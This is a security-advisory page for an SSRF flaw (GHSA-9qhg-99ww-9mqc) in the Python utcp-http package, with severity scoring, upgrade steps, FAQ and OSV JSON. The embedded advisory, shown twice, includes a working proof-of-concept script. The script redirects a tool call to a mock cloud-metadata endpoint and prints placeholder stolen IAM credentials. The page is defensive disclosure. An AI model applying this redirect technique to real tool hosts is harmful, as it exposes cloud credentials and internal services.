GHSA-9qhg-99ww-9mqc: utcp-http SSRF HTTP Tool Invocation Follows Redirects Vulnerability

HIGH
CVSS 8.2
CWE-918
Published
Advisory Summary

GHSA-9qhg-99ww-9mqc is a HIGH (CVSS 8.2) http tool invocation follows redirects vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting utcp-http SSRF libraries in the PyPI ecosystem. The issue involves http tool invocation follows redirects without re-validating the target. Remediation is available by upgrading affected packages to version 1.1.4.

GHSA-9qhg-99ww-9mqc at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-9qhg-99ww-9mqc
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product utcp-http SSRF
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-9qhg-99ww-9mqc

To remediate this vulnerability, upgrade all affected utcp-http SSRF dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

utcp-http fixed: 1.1.4
pip install utcp-http>=1.1.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show utcp-http

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-9qhg-99ww-9mqc, inspect your installed packages using pip:

pip show utcp-http

Analyze the terminal output to locate any version of utcp-http SSRF in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.4), your application is affected.

Note: The pip show utcp-http command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In utcp-http SSRF, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `HttpCommunicationProtocol.call_tool` validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore `302`-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive. This is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects. ## Root cause 1. The resolved URL is validated once, before the request: https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L281 2. The request is then made with aiohttp's default `allow_redirects=True` and no per-hop revalidation, so the redirect target bypasses the check entirely: https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L313-L332 The validator (`_security.py`) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it. ## Reachability Triggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any `https://`, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required. ## Preconditions - The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised. - The initial tool URL passes `ensure_secure_url` — trivially met by any `https://` URL or a benign attacker-owned host; the attacker only needs to return a `3xx` `Location`. - The tool is invoked (`call_tool`) after registration. - An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated `GET` (cloud metadata, internal admin panel, unauth datastore, link-local endpoint). - The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body. - For the IAM-credential outcome specifically: the host runs on a cloud instance with **IMDSv1** enabled. IMDSv2-only hosts block this exact result (it needs a `PUT` for a session token), but other internal-SSRF targets remain reachable. ## PoC The validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released `HttpCommunicationProtocol`; the "metadata" service is bound on a non-loopback LAN IP, which the validator rejects exactly like `169.254.169.254`. Run: `pip install utcp-http==1.1.3 aiohttp && python poc.py` ```python import asyncio, socket from aiohttp import web from utcp_http.http_communication_protocol import HttpCommunicationProtocol from utcp_http.http_call_template import HttpCallTemplate MD = "/latest/meta-data/iam/security-credentials/app-role" STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY", "SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"} def lan_ip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0] finally: s.close() async def main(): internal = lan_ip() meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN)) mr = web.AppRunner(meta, access_log=None); await mr.setup() ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start() internal_url = f"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}" atk = web.Application() atk.router.add_get("/tool", lambda r: web.Response(status=302, headers={"Location": internal_url})) ar = web.AppRunner(atk, access_log=None); await ar.setup() as_ = web.TCPSite(ar, "127.0.0.1", 0); await as_.start() tool_url = f"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool" proto = HttpCommunicationProtocol() ct = HttpCallTemplate(name="lookup", url=tool_url, http_method="GET") # passes the validator result = await proto.call_tool(None, "lookup", {}, ct) # follows 302 -> internal print("caller received:", result) await ar.cleanup(); await mr.cleanup() asyncio.run(main()) ``` Output: ``` caller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'} ``` ## Impact Blind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block. ## Possible fix Disable automatic redirects for tool invocation (`allow_redirects=False`) and, if redirects must be supported, re-run `ensure_secure_url` on every hop's `Location` before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual `https://`-to-internal case as well. ## Patched Fixed in `utcp-http` 1.1.4. `_security.py` now ships `safe_request_with_redirects`, a per-hop revalidator that disables aiohttp's auto-follow, runs `ensure_secure_url` on every `Location` header before issuing the next hop, caps the chain at 5 hops, and drops the body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP plugins use it for both `register_manual` and `call_tool`; SSE + streamable handshakes additionally reject any 3xx outright because the streaming response has to stay open for the lifetime of the call. The OAuth2 token-fetch path uses the same helper, closing the redirect-on-token-URL variant. The sister TypeScript implementation `@utcp/http` is fixed the same way in 1.1.4. Upgrade to `utcp-http >= 1.1.4`. No workaround in earlier versions short of disabling all attacker-influenced manuals.

GHSA-9qhg-99ww-9mqc Affected utcp-http SSRF Versions

1 component(s)
Fixed Versions:
1.1.4
Product / Package Ecosystem Affected Versions Fixed Version
utcp-http
PyPI
< 1.1.4
1.1.4

References

Frequently Asked Questions

What is GHSA-9qhg-99ww-9mqc?
GHSA-9qhg-99ww-9mqc is a security vulnerability in utcp-http SSRF involving HTTP tool invocation follows redirects without re-validating the target under CWE-918: Server-Side Request Forgery (SSRF).
Which utcp-http SSRF versions are affected?
Affected versions include releases prior to 1.1.4 across affected packages: utcp-http.
What version fixes GHSA-9qhg-99ww-9mqc?
Upgrading to 1.1.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is utcp-http affected?
Yes, utcp-http is affected in releases prior to 1.1.4. Upgrade your dependency to 1.1.4 or later.
What is the CVSS score of GHSA-9qhg-99ww-9mqc?
GHSA-9qhg-99ww-9mqc has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N.
What CWE is associated with GHSA-9qhg-99ww-9mqc?
GHSA-9qhg-99ww-9mqc is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for GHSA-9qhg-99ww-9mqc?
Run the dependency tree command: 'pip show utcp-http'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9qhg-99ww-9mqc",
  "modified" : "2026-08-25T15:48:51Z",
  "published" : "2026-08-25T15:48:51Z",
  "aliases" : [ ],
  "summary" : "utcp-http SSRF: HTTP tool invocation follows redirects without re-validating the target",
  "details" : "## Summary\n\n`HttpCommunicationProtocol.call_tool` validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore `302`-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive.\n\nThis is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects.\n\n## Root cause\n\n1. The resolved URL is validated once, before the request:\n\nhttps://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L281\n\n2. The request is then made with aiohttp's default `allow_redirects=True` and no\n   per-hop revalidation, so the redirect target bypasses the check entirely:\n\nhttps://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication_protocols/http/src/utcp_http/http_communication_protocol.py#L313-L332\n\nThe validator (`_security.py`) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it.\n\n## Reachability\n\nTriggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any `https://`, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required.\n\n## Preconditions\n\n- The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised.\n- The initial tool URL passes `ensure_secure_url` — trivially met by any `https://` URL or a benign attacker-owned host; the attacker only needs to return a `3xx` `Location`.\n- The tool is invoked (`call_tool`) after registration.\n- An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated `GET` (cloud metadata, internal admin panel, unauth datastore, link-local endpoint).\n- The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body.\n- For the IAM-credential outcome specifically: the host runs on a cloud instance with **IMDSv1** enabled. IMDSv2-only hosts block this exact result (it needs a `PUT` for a session token), but other internal-SSRF targets remain reachable.\n\n## PoC\n\nThe validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released `HttpCommunicationProtocol`; the \"metadata\" service is bound on a non-loopback LAN IP, which the validator rejects exactly like `169.254.169.254`.\n\nRun: `pip install utcp-http==1.1.3 aiohttp && python poc.py`\n\n```python\nimport asyncio, socket\nfrom aiohttp import web\nfrom utcp_http.http_communication_protocol import HttpCommunicationProtocol\nfrom utcp_http.http_call_template import HttpCallTemplate\n\nMD = \"/latest/meta-data/iam/security-credentials/app-role\"\nSTOLEN = {\"Code\": \"Success\", \"AccessKeyId\": \"ASIAEXAMPLESTOLENKEY\",\n          \"SecretAccessKey\": \"wJalr/EXAMPLE/STOLEN/SECRET\", \"Token\": \"Fwo...session\"}\n\ndef lan_ip():\n    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n    try: s.connect((\"8.8.8.8\", 80)); return s.getsockname()[0]\n    finally: s.close()\n\nasync def main():\n    internal = lan_ip()\n    meta = web.Application(); meta.router.add_get(MD, lambda r: web.json_response(STOLEN))\n    mr = web.AppRunner(meta, access_log=None); await mr.setup()\n    ms = web.TCPSite(mr, \"0.0.0.0\", 0); await ms.start()\n    internal_url = f\"http://{internal}:{ms._server.sockets[0].getsockname()[1]}{MD}\"\n\n    atk = web.Application()\n    atk.router.add_get(\"/tool\", lambda r: web.Response(status=302, headers={\"Location\": internal_url}))\n    ar = web.AppRunner(atk, access_log=None); await ar.setup()\n    as_ = web.TCPSite(ar, \"127.0.0.1\", 0); await as_.start()\n    tool_url = f\"http://127.0.0.1:{as_._server.sockets[0].getsockname()[1]}/tool\"\n\n    proto = HttpCommunicationProtocol()\n    ct = HttpCallTemplate(name=\"lookup\", url=tool_url, http_method=\"GET\")  # passes the validator\n    result = await proto.call_tool(None, \"lookup\", {}, ct)                 # follows 302 -> internal\n    print(\"caller received:\", result)\n    await ar.cleanup(); await mr.cleanup()\n\nasyncio.run(main())\n```\n\nOutput:\n\n```\ncaller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'}\n```\n\n## Impact\n\nBlind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block.\n\n## Possible fix\n\nDisable automatic redirects for tool invocation (`allow_redirects=False`) and, if redirects must be supported, re-run `ensure_secure_url` on every hop's `Location` before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual `https://`-to-internal case as well.\n\n## Patched\n\nFixed in `utcp-http` 1.1.4. `_security.py` now ships\n`safe_request_with_redirects`, a per-hop revalidator that disables\naiohttp's auto-follow, runs `ensure_secure_url` on every `Location`\nheader before issuing the next hop, caps the chain at 5 hops, and drops\nthe body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP\nplugins use it for both `register_manual` and `call_tool`; SSE +\nstreamable handshakes additionally reject any 3xx outright because the\nstreaming response has to stay open for the lifetime of the call. The\nOAuth2 token-fetch path uses the same helper, closing the\nredirect-on-token-URL variant.\n\nThe sister TypeScript implementation `@utcp/http` is fixed the same way\nin 1.1.4.\n\nUpgrade to `utcp-http >= 1.1.4`. No workaround in earlier versions\nshort of disabling all attacker-influenced manuals.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "utcp-http"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-9qhg-99ww-9mqc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp/commit/fc3268e2a62e1181f91a63faf0a9bcee7639db29"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/universal-tool-calling-protocol/python-utcp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T15:48:51Z",
    "nvd_published_at" : null
  }
}